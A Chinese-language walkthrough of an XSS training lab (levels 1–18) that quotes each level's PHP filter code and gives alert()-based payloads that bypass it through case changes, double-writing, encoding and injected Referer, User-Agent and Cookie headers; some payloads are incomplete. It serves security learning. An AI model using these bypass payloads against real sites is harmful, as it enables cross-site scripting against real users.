目录
Level 1
Level 2
Level 3
Level 4
Level 5
Level 6
Level 7
Level 8
Level 9
Level 10
Level 11
Level 12
Level 13
Level 16
Level 17
Level 18
测试:
没有任何防护措施
payload
闭合双引号和标签
payload
">//
">
输入测试 "'alert(1)
查看源码发现 " < > 发生变化
<script/>"'alert(1)
payload
'οnmοuseοver='alert(1)'
输入测试 '":()
查看源码发现 < > 被过滤
/script'":()
payload
" οnmοuseοver="alert(/xss/)
过滤了on开头的标签,script,使用其他标签绕过
payload
分析源码
$str2=str_replace("
发现将常用的标签都过滤了,但是他没进行大小写转换,href大写绕过
payload
" Onmouseover="alert(/xss/)
分析源码
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
这里使用了小写转换,无法使用大写绕过,由于只是将字符删除,可以尝试使用双写绕过
payload
">
alert(1) " oONnmouseover="alert(/xss/)
分析源码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
这里的过滤更加严格,尝试使用编码绕过
payload
javascRipt:alert(/xss/)
和第八关的区别在与加了一条判断
if(false===strpos($str7,'http://'))
{
echo '
友情链接 ';
}
在alert()里面加上即可
payload
javascRipt:alert('http://xss')
分析源码
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
这里直接提交t_sort参数即可,由于没有输入框,这里我们自己构造按钮,触发事件
payload
?t_sort=click me!" type="button" οnclick="alert(/xss/)
分析源码
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
这里接受的是referer字段的传递的值,在第十关使用bp抓包,修改referer字段即可
payload
Referer: click me!" type="button" οnclick="alert(/xss/)
分析源码
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
和上一关类似,只是变为了USER_AGENT字段
payload
User-Agent: click me!" type="button" οnclick="alert(/xss/)
分析源码
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
和上一关类似,只是变为了cookie的user字段
payload
Cookie: user=click me!" type="button" οnclick="alert(/xss/)
分析源码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
这里过滤了空格,使用%0D编码绕过
payload
?keyword=
分析源码
发现传入的两个参数都传入事件,进行攻击
payload
?arg01=a&arg02=b οnmοusedοwn=alert(1)
?arg01=a οnmοusedοwn=alert(1)&arg02=b
和17关类似
payload
?arg01=a&arg02=b οnmοusedοwn=alert(1)
?arg01=a οnmοusedοwn=alert(1)&arg02=b
后面的两关涉及到反编译的内容,笔者。。